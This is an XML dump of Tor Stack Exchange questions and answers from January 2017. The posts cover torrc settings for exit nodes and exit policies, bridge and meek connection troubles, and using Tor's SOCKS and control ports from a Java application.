  <row Id="13738" PostTypeId="2" ParentId="13737" CreationDate="2017-01-19T11:28:00.003" Score="0" Body="&lt;p&gt;You should clear the app cache - it's a glitch happening on app upgrade and, sometimes, on system upgrade/reconfiguration.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-19T11:28:00.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13739" PostTypeId="1" CreationDate="2017-01-19T18:38:50.580" Score="3" ViewCount="9839" Body="&lt;p&gt;I'm trying to use tor to test my website from UK. My website has custom content based on the geo-location of a user i.e; if a user opens from US IP he see's a US personalised content and if the user is from India he see's India specific content. SO while testing I tried to get only from US first by setting;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {us} StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the torrc file and it worked as expected and gave me access to the ip in US alone and the same reflected even in google analytics but when I did the same for India by setting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {in} StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tor was still configured to India only but in google analytics I saw the ip was of US and not India. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can someone tell me why google analytics is showing US for Indian based IP in tor. And how can I change it, so that google analytics shows India in its report.&lt;/p&gt;&#xA;" OwnerUserId="15900" LastEditorUserId="15900" LastEditDate="2017-01-19T19:56:28.387" LastActivityDate="2018-08-13T02:02:12.103" Title="How to set India as a country in tor browser?" Tags="|tor-browser-bundle|proxy|google|" AnswerCount="1" CommentCount="0" ClosedDate="2018-08-14T18:29:03.013" ContentLicense="CC BY-SA 3.0" />
  <row Id="13740" PostTypeId="1" CreationDate="2017-01-19T21:10:33.243" Score="0" ViewCount="118" Body="&lt;p&gt;There used to be TORK, Vidalia, and now Selector seems to be EOL. Why are there now no TOR controllers available? By now, we should have the best TOR controllers ever! Has the development of these been 'discouraged' by unknown or known sources?&lt;/p&gt;&#xA;" OwnerUserId="15901" LastEditorUserId="55" LastEditDate="2017-01-25T07:01:07.757" LastActivityDate="2017-01-25T07:04:54.363" Title="Why Are There No Tor Controllers?" Tags="|relays|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13742" PostTypeId="1" CreationDate="2017-01-20T01:43:35.047" Score="4" ViewCount="727" Body="&lt;p&gt;First of all, forgive me for my bad English. I don't speak the language fluently. But I hope you can understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Into my torrc file, I added the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitPolicy accept *:20-21     # FTP&#xA;ExitPolicy accept *:22        # SSH&#xA;ExitPolicy accept *:23        # Telnet&#xA;ExitPolicy accept *:43        # WHOIS&#xA;ExitPolicy accept *:53        # DNS&#xA;ExitPolicy accept *:79        # finger&#xA;ExitPolicy accept *:80-81     # HTTP&#xA;ExitPolicy accept *:88        # kerberos&#xA;ExitPolicy accept *:110       # POP3&#xA;ExitPolicy accept *:143       # IMAP&#xA;ExitPolicy accept *:194       # IRC&#xA;ExitPolicy accept *:220       # IMAP3&#xA;ExitPolicy accept *:389       # LDAP&#xA;ExitPolicy accept *:443       # HTTPS&#xA;ExitPolicy accept *:464       # kpasswd&#xA;ExitPolicy accept *:465       # URD for SSM (more often: an alternative SUBMISSION port, see 587)&#xA;ExitPolicy accept *:531       # IRC/AIM&#xA;ExitPolicy accept *:543-544   # Kerberos&#xA;ExitPolicy accept *:554       # RTSP&#xA;ExitPolicy accept *:563       # NNTP over SSL&#xA;ExitPolicy accept *:587       # SUBMISSION (authenticated clients [MUA's like Thunderbird] send mail over STARTTLS SMTP here)&#xA;ExitPolicy accept *:636       # LDAP over SSL&#xA;ExitPolicy accept *:706       # SILC&#xA;ExitPolicy accept *:749       # kerberos &#xA;ExitPolicy accept *:873       # rsync&#xA;ExitPolicy accept *:902-904   # VMware&#xA;ExitPolicy accept *:981       # Remote HTTPS management for firewall&#xA;ExitPolicy accept *:989-990   # FTP over SSL&#xA;ExitPolicy accept *:991       # Netnews Administration System&#xA;ExitPolicy accept *:992       # TELNETS&#xA;ExitPolicy accept *:993       # IMAP over SSL&#xA;ExitPolicy accept *:994       # IRCS&#xA;ExitPolicy accept *:995       # POP3 over SSL&#xA;ExitPolicy accept *:1194      # OpenVPN&#xA;ExitPolicy accept *:1220      # QT Server Admin&#xA;ExitPolicy accept *:1293      # PKT-KRB-IPSec&#xA;ExitPolicy accept *:1500      # VLSI License Manager&#xA;ExitPolicy accept *:1533      # Sametime&#xA;ExitPolicy accept *:1677      # GroupWise&#xA;ExitPolicy accept *:1723      # PPTP&#xA;ExitPolicy accept *:1755      # RTSP&#xA;ExitPolicy accept *:1863      # MSNP&#xA;ExitPolicy accept *:2082      # Infowave Mobility Server&#xA;ExitPolicy accept *:2083      # Secure Radius Service (radsec)&#xA;ExitPolicy accept *:2086-2087 # GNUnet, ELI&#xA;ExitPolicy accept *:2095-2096 # NBX&#xA;ExitPolicy accept *:2102-2104 # Zephyr&#xA;ExitPolicy accept *:3128      # SQUID&#xA;ExitPolicy accept *:3389      # MS WBT&#xA;ExitPolicy accept *:3690      # SVN&#xA;ExitPolicy accept *:4321      # RWHOIS&#xA;ExitPolicy accept *:4643      # Virtuozzo&#xA;ExitPolicy accept *:5050      # MMCC&#xA;ExitPolicy accept *:5190      # ICQ&#xA;ExitPolicy accept *:5222-5223 # XMPP, XMPP over SSL&#xA;ExitPolicy accept *:5228      # Android Market&#xA;ExitPolicy accept *:5900      # VNC&#xA;ExitPolicy accept *:6660-6669 # IRC&#xA;ExitPolicy accept *:6679      # IRC SSL  &#xA;ExitPolicy accept *:6697      # IRC SSL  &#xA;ExitPolicy accept *:8000      # iRDMI&#xA;ExitPolicy accept *:8008      # HTTP alternate&#xA;ExitPolicy accept *:8074      # Gadu-Gadu&#xA;ExitPolicy accept *:8080      # HTTP Proxies&#xA;ExitPolicy accept *:8082      # HTTPS Electrum Bitcoin port&#xA;ExitPolicy accept *:8087-8088 # Simplify Media SPP Protocol, Radan HTTP&#xA;ExitPolicy accept *:8232-8233 # Zcash&#xA;ExitPolicy accept *:8332-8333 # Bitcoin&#xA;ExitPolicy accept *:8443      # PCsync HTTPS&#xA;ExitPolicy accept *:8888      # HTTP Proxies, NewsEDGE&#xA;ExitPolicy accept *:9418      # git&#xA;ExitPolicy accept *:9999      # distinct&#xA;ExitPolicy accept *:10000     # Network Data Management Protocol&#xA;ExitPolicy accept *:11371     # OpenPGP hkp (http keyserver protocol)&#xA;ExitPolicy accept *:19294     # Google Voice TCP&#xA;ExitPolicy accept *:19638     # Ensim control panel&#xA;ExitPolicy accept *:50002     # Electrum Bitcoin SSL&#xA;ExitPolicy accept *:64738     # Mumble&#xA;ExitPolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this configuration am I really acting as an exit node? I have a 50 MB download and 30 MB of upload.&#xA;I want the Tor network to make full use of my connection. I don't want to limit anything for the other Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my configuration is correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all!&lt;/p&gt;&#xA;" OwnerUserId="15906" LastEditorUserId="435" LastEditDate="2017-01-21T11:46:08.927" LastActivityDate="2017-01-22T21:47:32.157" Title="I want to be an exit node" Tags="|exit-relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13745" PostTypeId="1" CreationDate="2017-01-20T08:12:13.083" Score="0" ViewCount="1309" Body="&lt;p&gt;i am using meek amazon transport with https proxy type but unable to connect to tor browser below are the logs &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;20/01/2017 13:38:59 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;20/01/2017 13:40:14 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;20/01/2017 13:40:14 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;20/01/2017 13:40:14 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;20/01/2017 13:40:14 PM.900 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;20/01/2017 13:40:20 PM.300 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;20/01/2017 13:40:20 PM.300 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;20/01/2017 13:40:20 PM.800 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 1; recommendation warn; host B9E7141C594AF25699E0079C1F0146F409495296 at 0.0.2.0:2) &#xA;20/01/2017 13:40:20 PM.800 [WARN] 1 connections have failed: &#xA;20/01/2017 13:40:20 PM.800 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;20/01/2017 13:40:22 PM.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;20/01/2017 13:40:22 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;20/01/2017 13:40:22 PM.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14994" LastEditorUserId="9291" LastEditDate="2017-01-20T09:03:21.190" LastActivityDate="2017-04-20T10:31:21.060" Title="Establishing an encrypted directory connection failed (done - 0.0.2.0:2)" Tags="|error|meek|" AnswerCount="1" CommentCount="0" ClosedDate="2017-05-09T12:03:55.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="13746" PostTypeId="1" AcceptedAnswerId="13748" CreationDate="2017-01-20T08:16:52.030" Score="0" ViewCount="359" Body="&lt;p&gt;I'm running a system tor; &lt;code&gt;/etc/tor/torrc&lt;/code&gt; has both &lt;code&gt;UseBridges 1&lt;/code&gt; and &lt;code&gt;ExcludeExitNodes {us},{au},{ca},{nz},{gb},{fr}&lt;/code&gt; set. It runs OK, but I have a lot of bridges listed and one of them is apparently in the exclude nodes, since I'm constantly getting a &lt;code&gt;Not using bridge at [scrubbed]: it is in ExcludeNodes.&lt;/code&gt; error in my console.&#xA;Is there a way to find out which bridge is causing it and edit &lt;code&gt;torrc&lt;/code&gt; to stop trying to use it?&lt;/p&gt;&#xA;" OwnerUserId="866" LastActivityDate="2017-01-20T09:02:06.580" Title="Commenting out a wrong bridge" Tags="|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13748" PostTypeId="2" ParentId="13746" CreationDate="2017-01-20T09:02:06.580" Score="1" Body="&lt;p&gt;Yes, you need to use &lt;code&gt;SafeLogging 0&lt;/code&gt; for your tor to determine the bridge. After the problem will be fixed - set it to &lt;code&gt;SafeLogging 1&lt;/code&gt; to ensure no leaks in your logs. Here is the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#SafeLogging&quot; rel=&quot;nofollow noreferrer&quot;&gt;official documentation&lt;/a&gt; cite:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SafeLogging 0|1|relay&#xA;  Tor can scrub potentially sensitive strings from log messages (e.g. addresses) by replacing them with the string [scrubbed]. This way logs can still be useful, but they don’t leave behind personally identifying information about what sites a user might have visited.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If this option is set to 0, Tor will not perform any scrubbing, if it is set to 1, all potentially sensitive strings are replaced. If it is set to relay, all log messages generated when acting as a relay are sanitized, but all messages generated when acting as a client are not. (Default: 1)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-20T09:02:06.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13749" PostTypeId="2" ParentId="13745" CreationDate="2017-01-20T09:06:02.570" Score="0" Body="&lt;p&gt;Try to use another Meek transport bridge, try meek-azure or maybe you should run it on VPS yourself - it seems that your proxy is intercepting and banning connections.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-20T09:06:02.570" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13750" PostTypeId="2" ParentId="13742" CreationDate="2017-01-20T09:23:30.180" Score="1" Body="&lt;p&gt;Well, it should be fine - don't forget to add ORPort and DirPort and make them reachable from the outer world also. And I have some TCP ports suggestions to open also, they are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IRC used to utilize also ports 7000-7010. I have seen it on DALNet and others&lt;/li&gt;&#xA;&lt;li&gt;XMPP is a very common thing today, so open 5222,5223,5269,5298,8010 - they are all important for it, not 5222 and 5223 as it is in your config&lt;/li&gt;&#xA;&lt;li&gt;Socks long-known port 1080 is quite a common one&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;UPDATE: additional torrc lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitPolicy accept *:1080&#xA;ExitPolicy accept *:7000-7010&#xA;ExitPolicy accept *:5269&#xA;ExitPolicy accept *:5298&#xA;ExitPolicy accept *:8010&#xA;ORPort 443&#xA;DirPort 80&#xA;ClientOnly 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-01-22T21:47:32.157" LastActivityDate="2017-01-22T21:47:32.157" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="13752" PostTypeId="2" ParentId="13618" CreationDate="2017-01-20T14:54:56.230" Score="1" Body="&lt;p&gt;According to core Tor developer David Goulet, the Tor Button will notice the difference:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2016-December/042753.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;With the next generation onion service (we hope by mid-2017 so ~6 months), every onion service will advertise in its descriptor that it &lt;em&gt;is&lt;/em&gt;&#xA;  a single onion service and we hope to make the circuit viewer in Tor Browser&#xA;  show that when visiting a single onion service.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15913" LastActivityDate="2017-01-20T14:54:56.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13755" PostTypeId="2" ParentId="12610" CreationDate="2017-01-20T19:04:01.173" Score="2" Body="&lt;p&gt;Technically, &lt;strong&gt;NO&lt;/strong&gt; - in the abstract common case. In 80%+ cases setting up a Nginx reverse proxy will do the trick, but sites &lt;em&gt;can&lt;/em&gt; be complicated, and they can use a wide set of subdomains and/or other domains. That's where the &quot;NO&quot; comes from: if you're not the site's maintainer, you can not &quot;map them all&quot;. You either need to use a HTTPS CONNECT or SOCKS proxy on your hidden service - to catch &lt;strong&gt;All&lt;/strong&gt; the requests that are started by visiting a website, but actually Tor has a SOCKS proxy built-in already, so you will be reinventing the wheel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking specifically about Tor.SE - I hope that SE community will run a gateway themselves, it's very actual nowdays&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-20T19:04:01.173" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13756" PostTypeId="1" CreationDate="2017-01-20T23:50:39.017" Score="0" ViewCount="225" Body="&lt;p&gt;I just bought a new MacBook Pro. I would like to use tor. but I use safari and mail for my business ,can i set up tor so I can use that separately from safari and still maintain anonymity.. or do I have to reconfigure settings and use only tor?  this is my first new laptop in 10 years so I am behind the times in setting up privacy browsers and trying to stay invisible on the internet. any help or advice would be appreciated &lt;/p&gt;&#xA;" OwnerUserId="15917" LastActivityDate="2017-06-22T19:11:31.257" Title="advice for setting ups tor. newbie" Tags="|configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13758" PostTypeId="1" CreationDate="2017-01-21T02:46:36.897" Score="2" ViewCount="28086" Body="&lt;p&gt;I tried searching for this question here and haven't found the specific question. I've tried uninstalling Tor on my Windows 10 laptop pc and I can't find it installed. I've gone to the usual places in the control panel, tried Revo Uninstaller to search for it and looked for it in CCleaner. I even tried looking for it in the command line and looked for folders where it would be installed. Nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can launch it using the desktop icon or in the start menu and open the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to find and uninstall this browser? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15918" LastActivityDate="2018-09-12T06:51:28.373" Title="How do I unistall Tor on Windows 10?" Tags="|windows|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13760" PostTypeId="2" ParentId="13758" CreationDate="2017-01-21T12:52:45.543" Score="3" Body="&lt;p&gt;Tor is not installing &lt;em&gt;any&lt;/em&gt; registry information and nothing but it's files, so just deleting the folder with Tor and the shortcuts from your desktop(if you have ones) will remove it. No traces in system will be left&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-21T12:52:45.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13761" PostTypeId="2" ParentId="13186" CreationDate="2017-01-21T13:38:18.940" Score="0" Body="&lt;p&gt;That's correct - you can see &lt;em&gt;just&lt;/em&gt; that someone is connected to Tor network, no other data is leaked out - it's encapsulated into Tor traffic. OpenDNS or &lt;em&gt;whatever&lt;/em&gt; traffic inspection tool will see that an exit node makes a DNS queries and after that it makes an outgoing connections to the hosts resolved. It's a pretty obvious network behaviour pattern, so tor usage is not detected here too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case of data leaks on client side - well, you'll see something in most of the cases, but it's an incorrect setup situation and what you will be able to see - if you will see it at all in Wireshark - is highly dependent on the configuration/setup mistake on the client side.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-21T13:38:18.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13762" PostTypeId="2" ParentId="13756" CreationDate="2017-01-21T13:40:41.680" Score="0" Body="&lt;p&gt;in case of Mac you better use an external routing box - there're lots of &quot;surprises&quot; on modern Mac OS X versions with Tor. It will also route all your srvices &lt;em&gt;safely&lt;/em&gt; through Tor, no leaks or leftovers will be possible.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-21T13:40:41.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13763" PostTypeId="1" CreationDate="2017-01-21T14:25:17.717" Score="5" ViewCount="2924" Body="&lt;p&gt;I am trying to integrate TOR into my java application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried Silvertunnel and Orchid, and cant get them to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think without doing some learning, im not going to figure this out.  On another thread i read &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;You'll just need to get Java to use the SOCKS4 proxy at localhost:8118&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive started reading into SOCKS4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give some guidance on how to proceed.&#xA;i.e what should i learn&#xA;is there a TOR document in need to read( i have been on the TOR site, and cant find a specification document that i need to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im completely lost about what i need to download&#xA;how i connect the thing i download to my Java app&lt;/p&gt;&#xA;" OwnerUserId="15923" LastActivityDate="2021-02-14T04:58:48.313" Title="How can I figure out how to use TOR in my Java application" Tags="|tor-browser-bundle|socks|java|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13764" PostTypeId="2" ParentId="13763" CreationDate="2017-01-21T15:01:54.283" Score="0" Body="&lt;p&gt;From the Java client point of view, you have three enpoints in Tor you're interested in communicating with, they are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A &lt;strong&gt;SOCKS proxy&lt;/strong&gt;. It resides at port 9050 on localhost, usually(=by-default). Using it is as simple as using any other SOCKS proxy, so pick a component of your choice or use a built-in functionality according to the &lt;a href=&quot;https://docs.oracle.com/javase/8/docs/technotes/guides/net/proxies.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;official docs&lt;/a&gt;. A word of warning and thing that you should &lt;strong&gt;explicitly&lt;/strong&gt; check: use proxy to resolve DNS names. It will prevent the data leaks.&lt;/li&gt;&#xA;&lt;li&gt;A &lt;strong&gt;control port&lt;/strong&gt; with telnet-style command protocol. You may be interested in it not just in case of reading Tor stats and metrics, but also to switch the circuit, i.e. in case when your current one lags as hell. Just &lt;code&gt;AUTHENTICATE xxx&lt;/code&gt; there and after &lt;code&gt;250 OK&lt;/code&gt; say &lt;code&gt;SIGNAL NEWNYM&lt;/code&gt; - and that's it! Circuits switched! Use any telnet client of your choice, port is 9051 by default, control protocol is described &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;right here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;A &lt;strong&gt;DNS resolver&lt;/strong&gt;. Of course, you can use it as a DNS server with a &lt;em&gt;very limited&lt;/em&gt; functionality, but in conjunction with mapping dot-onion services to private IP ranges - it can be a very good thing to determine &quot;are we going through Tor or not for this hostname&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And one more piece of advice - don't use a surrogates/substitutions for Tor like Silvertunnel, it glitches like hell, actually. Use a standalone tor instance. If a person already have it - just let it betyped in as a config parameter for your app. If the person does not have tor - use &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;expert bundle&lt;/a&gt; which is just-a-folder portable distribution of Tor and nothing extra.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-21T15:01:54.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13765" PostTypeId="2" ParentId="4014" CreationDate="2017-01-21T18:37:56.733" Score="8" Body="&lt;p&gt;A solution that doesn't break all your shortcuts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Right-click the &lt;code&gt;Tor Browser&lt;/code&gt; folder &lt;em&gt;(which you probably installed to &lt;code&gt;Program Files&lt;/code&gt;)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Properties --&gt; Security --&gt; (Your username) --&gt; Edit --&gt; (Your username) --&gt; Allow full control&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="228" LastActivityDate="2017-01-21T18:37:56.733" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13769" PostTypeId="1" AcceptedAnswerId="13771" CreationDate="2017-01-22T05:52:24.647" Score="2" ViewCount="2194" Body="&lt;p&gt;when will riffle be release? anyone know? riffle is new technology that provide better anonymity than tor look at this news. it has been over half year since riffle in development &lt;a href=&quot;http://news.mit.edu/2016/stay-anonymous-online-0711&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://news.mit.edu/2016/stay-anonymous-online-0711&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="15490" LastActivityDate="2017-01-22T13:06:29.410" Title="when will riffle be release? anyone know? riffle is new technology that provide better anonymity than tor" Tags="|anonymity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13770" PostTypeId="1" CreationDate="2017-01-22T07:44:47.863" Score="0" ViewCount="421" Body="&lt;p&gt;I downloaded the Tor browser, and ran the Tor exe file.&#xA;I then run the code shown below to try an access a website using SOCKS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    SocketAddress sockAddr = new InetSocketAddress(&quot;localhost&quot;,9050);&#xA;    Proxy proxy = new Proxy(Proxy.Type.SOCKS,sockAddr);&#xA;    URL url = new URL(&quot;https://check.torproject.org/&quot;);&#xA;&#xA;    url.openConnection(proxy);&#xA;&#xA;    InputStream in = url.openConnection(proxy).getInputStream();&#xA;    ByteArrayOutputStream bout = new ByteArrayOutputStream();&#xA;    byte[] stuff = new byte[1024];&#xA;    int readBytes = 0;&#xA;    while((readBytes = in.read(stuff))&amp;gt;0) {&#xA;        bout.write(stuff,0,readBytes);&#xA;    }&#xA;    byte[] result = bout.toByteArray();&#xA;    System.out.print(new String(result));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i run my code i get the following error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sun.security.validator.ValidatorException: PKIX path building failed: &#xA;  sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I read that this could be due to an older version of Java so i upgraded Java to &#xA;jdk1.8.0_121&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help with this error&lt;/p&gt;&#xA;" OwnerUserId="15923" LastEditorUserId="88" LastEditDate="2017-04-22T17:13:28.843" LastActivityDate="2022-03-28T07:04:55.507" Title="unable to find valid certification path to requested target Error" Tags="|socks|java|certificate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13771" PostTypeId="2" ParentId="13769" CreationDate="2017-01-22T13:06:29.410" Score="3" Body="&lt;p&gt;Riffle, hOR.NET and many other &lt;em&gt;promising on paper&lt;/em&gt; projects are seem to be either a hoax, or a stale-development ones. No release date for all of them - even for the source, that makes most of concerns about of theit actual existence very well-grounded. As for me - I recommend you just read the paper, study it(if it contains any &lt;em&gt;real&lt;/em&gt; piece of data, not just promises and speed tables) and don't waste your time waiting for them. If they will ever be released - then it's time to return your mind focus on it. Keep it real&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-22T13:06:29.410" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13772" PostTypeId="2" ParentId="13770" CreationDate="2017-01-22T13:12:13.600" Score="0" Body="&lt;p&gt;It's a common problem for all certs issued by &quot;&lt;a href=&quot;https://letsencrypt.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Let's encrypt&quot;&lt;/a&gt;. Go there and add their root certificate to your trusted list - it's usually not in case of old distro's, OpenJDK and so forth. Details about their certificate root are &lt;a href=&quot;https://letsencrypt.org/certificates/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; - grab them and import into your OS trusted certificates store&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-22T13:12:13.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13783" PostTypeId="1" CreationDate="2017-01-23T09:01:23.413" Score="0" ViewCount="4369" Body="&lt;p&gt;I have heard Tor blocks traffic analysis so it is not possible to get the middle relay ip address. How do I find the ip address of the entry relay? Does traceroute help in doing that? I also use tor on android. I use orbot to connect to Tor on android. So I like to know a solution on android too.&lt;/p&gt;&#xA;" OwnerUserId="13538" LastEditorUserId="18662" LastEditDate="2017-09-21T12:31:42.377" LastActivityDate="2022-10-10T12:05:15.563" Title="How to find the ip address of the tor entry/guard node I am currently connected to?" Tags="|ip-address|guard-node|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13784" PostTypeId="2" ParentId="13783" CreationDate="2017-01-23T14:44:03.903" Score="0" Body="&lt;p&gt;A classic &lt;code&gt;traceroute&lt;/code&gt; utility will end it's trace on Tor+transPort node, because tor is protecting you by diverting and randomising the L3+4 routes. But you have the full analog of the &lt;code&gt;traceroute&lt;/code&gt; tool - either in Tor browser it's already built-in as a plugin(TorButton, if I'm correct) and froma command-line you can use &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stem&lt;/a&gt; to query the Tor instance about all the details, including the entry info.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-23T14:44:03.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13785" PostTypeId="1" CreationDate="2017-01-23T16:51:00.233" Score="0" ViewCount="179" Body="&lt;p&gt;if i open website1.com in one tab and it uses some google analytics or google fonts api, then open website2.org in another tab which also uses google products...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;do the google domains see different tor IPs? or is it trivial for google at that point to tell whos viewing website1 and website2 simultaneously? &lt;/p&gt;&#xA;" OwnerUserId="15951" LastActivityDate="2017-02-23T16:57:45.180" Title="Tracking users via google APIs?" Tags="|anonymity|deanonymization|ip-address|google|traffic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
